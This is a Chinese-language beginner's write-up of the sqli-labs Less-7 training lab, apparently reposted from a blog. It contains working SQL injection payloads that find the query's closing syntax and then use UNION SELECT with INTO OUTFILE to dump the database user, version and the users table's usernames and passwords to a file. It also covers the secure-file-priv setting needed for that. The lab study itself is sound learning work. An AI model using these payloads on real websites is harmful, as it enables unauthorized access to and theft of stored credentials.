小白注入学习:sqli-labs--less7学习记录

Less7 导出文件字符型注入:

1.outfile
Less7的数据库报错被同一处理为了 "You have an error in your SQL syntax"
SQL语句正确则输出You are in...Use outfile......这里提示使用outfile,通过利用outfile导出文档来查看回显。
outfile的具体用法是:into outfile '导出文档的具体路径' 可以把被选中的行导入一个文件中。
2.测试注入点,对id语句进行猜测
单引号测试: id?=1'--+ 数据库报错
双引号测试: id=?1" --+ 页面正常显示
通过这两条信息的对比,单引号是闭合条件之一

带着单引号 ' 继续猜测
单引号+括号测试: ?id=1') --+ 数据库报错
单引号+双括号测试: ?id=1')) --+ 页面正常显示
这里我们测试出了正确的闭合语句,
可以推断出后端的SQL语句大概是 select * from users where id = (('$id'))
(PS小白注释:这里直接猜测 单引号后面加上括号,是由于php脚本语言,能识别的解析变量的字比较少,主要就是 单引号、双引号、括号等)

3.通过导出文件获取数据库信息
结合union联合查询语句将查询到的信息导入到一个文件中。
payload ?id=1')) union select 1,2,SQL查询语句 into outfile '导出文件路径(ps路径双反斜杠)' --+
(1)获取用户、数据库名、版本号

?id=1')) union select user(),database(),version() into outfile 'D:\ProgramData\MySQL\MySQL Server\UpLoads\less7_dbname.txt'--+

虽然这里数据库报错,但是我们在本地文件中依然找到了文件,下面同理。

(2)查询users表的数据,导入到本地文件

?id=1')) union select 1,username,password from users into outfile 'D:\ProgramData\MySQL\MySQL Server\UpLoads\less7_users.txt'--+

将users表的信息保存到了less7_users.txt文件中

(3)Less7也有多种注入方法,可以用sqlmap也可以通过布尔盲注。

PS小白总结:

(1) outfile '导出文件路径' 需要mySQL数据库开启secure-file-priv写文件权限
导出路径应该是这个属性对应的值。
(2) 路径检查、修改方法
通过mysql先查看该权限是否开启以及对应的路径

secure

如果是NULL则需要修改mySQL安装目录下的my.ini文件
将secure-file-priv的值修改为你需要的路径即可

my.ini

小白注入学习记录!!

原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less7.html